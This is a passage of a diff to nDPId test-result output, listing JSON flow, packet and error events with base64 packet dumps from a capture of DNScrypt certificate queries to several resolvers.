AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":504,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":204,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396047885,"flow_src_last_pkt_time":946739396047885,"flow_dst_last_pkt_time":946739396047885,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396047885,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":54204,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":505,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396047896} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739396047896,"packet_id":505,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396047896} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":505,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739396047885,"pkt":"REREREREZmZmZmZmCABFAABQlEcAuX4R66EKAAABkFtq4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00761{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":506,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":2,"flow_src_last_pkt_time":946739396047802,"flow_dst_last_pkt_time":946739396069636,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"thread_ts_usec":946739396069636,"pkt":"ZmZmZmZmRERERERECABFAADTkQZAADcR9hiQW2rjCgAAAQG7oJQAvzbjZluBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAALkTa3PmYOnbKVsenPA+dUbqb7bPdeethm+r51VaewMcP0sfe1RtTAHcc8Uvs8bFQylZgA4Na3Yk4xgl2KWmKw4bPctGhBgarq2J2ya3ifLfvYsxbqqez8iaBEin48TCXxs9y0aEGBquAAAAAV9TgfdfVNN3"} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":507,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":205,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396070457,"flow_src_last_pkt_time":946739396070457,"flow_dst_last_pkt_time":946739396070457,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396070457,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":33293,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -1179,9 +1061,9 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":509,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":207,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396070525,"flow_src_last_pkt_time":946739396070525,"flow_dst_last_pkt_time":946739396070525,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396070525,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":33246,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":509,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_src_last_pkt_time":946739396070525,"flow_dst_last_pkt_time":946739396070525,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739396070525,"pkt":"REREREREZmZmZmZmCABFAAXcSFogAH4RFuAKAAABLuPIN4HeIPsGBEfaFc4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":509,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":207,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396070525,"flow_src_last_pkt_time":946739396070525,"flow_dst_last_pkt_time":946739396070525,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396070525,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":33246,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":510,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396070529} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739396070529,"packet_id":510,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396070529} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":510,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739396070525,"pkt":"REREREREZmZmZmZmCABFAABQSFkAuX4RO7QKAAABLuPINwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":511,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396070534} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739396070534,"packet_id":511,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396070534} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":511,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739396070525,"pkt":"REREREREZmZmZmZmCABFAABQSFoAuX4RO7MKAAABLuPINwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":512,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":208,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396070539,"flow_src_last_pkt_time":946739396070539,"flow_dst_last_pkt_time":946739396070539,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396070539,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":50277,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":512,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_src_last_pkt_time":946739396070539,"flow_dst_last_pkt_time":946739396070539,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739396070539,"pkt":"REREREREZmZmZmZmCABFAAIcSFtAAH4R+p4KAAABLuPIN8RlIPsCCLnwFdEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -1189,7 +1071,7 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":513,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":209,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396070548,"flow_src_last_pkt_time":946739396070548,"flow_dst_last_pkt_time":946739396070548,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396070548,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":44161,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":513,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_src_last_pkt_time":946739396070548,"flow_dst_last_pkt_time":946739396070548,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739396070548,"pkt":"REREREREZmZmZmZmCABFAAXcSFwgAH4RFt4KAAABLuPIN6yBIPsGBB0zFdIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":513,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":209,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396070548,"flow_src_last_pkt_time":946739396070548,"flow_dst_last_pkt_time":946739396070548,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396070548,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":44161,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":514,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396070559} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739396070559,"packet_id":514,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396070559} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":514,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739396070548,"pkt":"REREREREZmZmZmZmCABFAABQSFwAuX4RO7EKAAABLuPINwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":515,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":210,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396070559,"flow_src_last_pkt_time":946739396070559,"flow_dst_last_pkt_time":946739396070559,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396070559,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"46.227.200.55","src_port":49177,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":515,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_src_last_pkt_time":946739396070559,"flow_dst_last_pkt_time":946739396070559,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739396070559,"pkt":"REREREREZmZmZmZmCABFAAIcSF1AAH4R+pwKAAABLuPIN8AZIPsCCLnwFc8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -1210,7 +1092,7 @@ 00779{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":527,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":212,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396111010,"flow_src_last_pkt_time":946739396111010,"flow_dst_last_pkt_time":946739396111010,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396111010,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"107.170.57.34","src_port":55185,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":527,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_src_last_pkt_time":946739396111010,"flow_dst_last_pkt_time":946739396111010,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739396111010,"pkt":"REREREREZmZmZmZmCABFAAXcKekgAH4Rh58KAAABa6o5IteRAbsGBOOGsy4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAl2ZW50cmljbGUCdXMAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA